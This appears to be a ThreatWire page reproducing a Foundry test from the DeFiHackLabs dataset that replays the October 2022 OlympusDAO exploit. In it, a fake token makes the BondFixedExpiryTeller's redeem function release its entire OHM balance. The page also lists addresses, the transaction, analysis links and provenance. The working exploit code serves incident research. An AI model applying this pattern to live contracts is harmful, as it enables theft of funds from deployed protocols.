Public reproduction file
src/test/2022-10/OlympusDao_exp.sol
Public reproduction file for dataset entry OlympusDAO.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$292K (30,437 OHM)8// Attacker : 0x443cf223e209e5a2c08114a2501d8f0f9ec7d9be9// Attack Contract : 0xa29e4fe451ccfa5e7def35188919ad7077a4de8f10// Vulnerable Contract : 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac5115611// Attack Tx : https://etherscan.io/tx/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156#code#F1#L13716// @Analysis17// Twitter PeckShield : https://twitter.com/peckshield/status/158341682923752652818// Article by Shashank : https://blog.solidityscan.com/olympus-dao-hack-analysis-f07d2a64f5ee19// Article by 0xbanky : https://mirror.xyz/0xbanky.eth/c7G9ZfTB8pzQ5cCMw5UhdFehmR6l0fVqd_B-ZuXz2_o21address constant OHM = 0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5;22address constant BondFixedExpiryTeller = 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156;24interface IBondFixedExpiryTeller {25 function redeem(address token_, uint256 amount_) external;26}28contract FakeToken {29 function underlying() external pure returns (address) {30 return OHM;31 }33 function expiry() external pure returns (uint48 _expiry) {34 return 1;35 }37 function burn(address, uint256) external pure {38 // do nothing39 }40}42contract AttackContract is Test {43 function setUp() public {44 vm.createSelectFork("mainnet", 15_794_363);45 vm.label(OHM, "OHM");46 vm.label(BondFixedExpiryTeller, "BondFixedExpiryTeller");47 }49 function testExploit() public {50 console.log("---------- Start from block %s ----------", block.number);51 emit log_named_decimal_uint("Attacker OHM balance", IERC20(OHM).balanceOf(address(this)), 9);53 address fakeToken = address(new FakeToken());55 uint256 ohmBalance = IERC20(OHM).balanceOf(BondFixedExpiryTeller);56 IBondFixedExpiryTeller(BondFixedExpiryTeller).redeem(fakeToken, ohmBalance);57 console.log("Redeeming...");58 emit log_named_decimal_uint("Attacker OHM balance after hack", IERC20(OHM).balanceOf(address(this)), 9);59 }60}Analysis
Dataset entry
Public Foundry test for “OlympusDAO” (2022-10-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-10/ATK_exp.solSame month in the dataset · 97 lines
- src/test/2022-10/BabySwap_exp.solSame month in the dataset · 134 lines
- src/test/2022-10/BEGO_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Carrot_exp.solSame month in the dataset · 149 lines
- src/test/2022-10/EFLeverVault_exp.solSame month in the dataset · 92 lines
- src/test/2022-10/HEALTH_exp.solSame month in the dataset · 105 lines
- src/test/2022-10/HPAY_exp.solSame month in the dataset · 150 lines
- src/test/2022-10/INUKO_exp.solSame month in the dataset · 327 lines
- src/test/2022-10/Market_exp.solSame month in the dataset · 339 lines
- src/test/2022-10/MEVa47b_exp.solSame month in the dataset · 126 lines
- src/test/2022-10/MulticallWithoutCheck_exp.solSame month in the dataset · 46 lines
- src/test/2022-10/N00d_exp.solSame month in the dataset · 94 lines
- src/test/2022-10/PLTD_exp.solSame month in the dataset · 67 lines
- src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
- src/test/2022-10/RES_exp.solSame month in the dataset · 181 lines
- src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
- src/test/2022-10/TeamFinance_exp.solSame month in the dataset · 274 lines
- src/test/2022-10/Templedao_exp.solSame month in the dataset · 66 lines
- src/test/2022-10/TransitSwap_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Uerii_exp.solSame month in the dataset · 96 lines
- src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
- src/test/2022-10/VTF_exp.solSame month in the dataset · 114 lines
- src/test/2022-10/XaveFinance_exp.solSame month in the dataset · 220 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x443cf223e209e5a2c08114a2501d8f0f9ec7d9be
- Attack Contract
0xa29e4fe451ccfa5e7def35188919ad7077a4de8f
- Vulnerable Contract
0x007fe7c498a2cf30971ad8f2cbc36bd14ac51156
- Attack Tx
0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf
- Twitter: https://twitter.com/peckshield/status/1583416829237526528
- Article: https://blog.solidityscan.com/olympus-dao-hack-analysis-f07d2a64f5ee
- Article: https://mirror.xyz/0xbanky.eth/c7G9ZfTB8pzQ5cCMw5UhdFehmR6l0fVqd_B-ZuXz2_o
- Explorer: https://etherscan.io/address/0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156#code#F1#L137
File record
- Name
- OlympusDAO
- Path
- src/test/2022-10/OlympusDao_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d8009036d07a642a72caa8c6fef8466db40c3aac
- Language
- Solidity
- Size
- 61 lines
- Date
- 2022-10-21
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-10/OlympusDao_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d8009036d07a642a72caa8c6fef8466db40c3aac, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.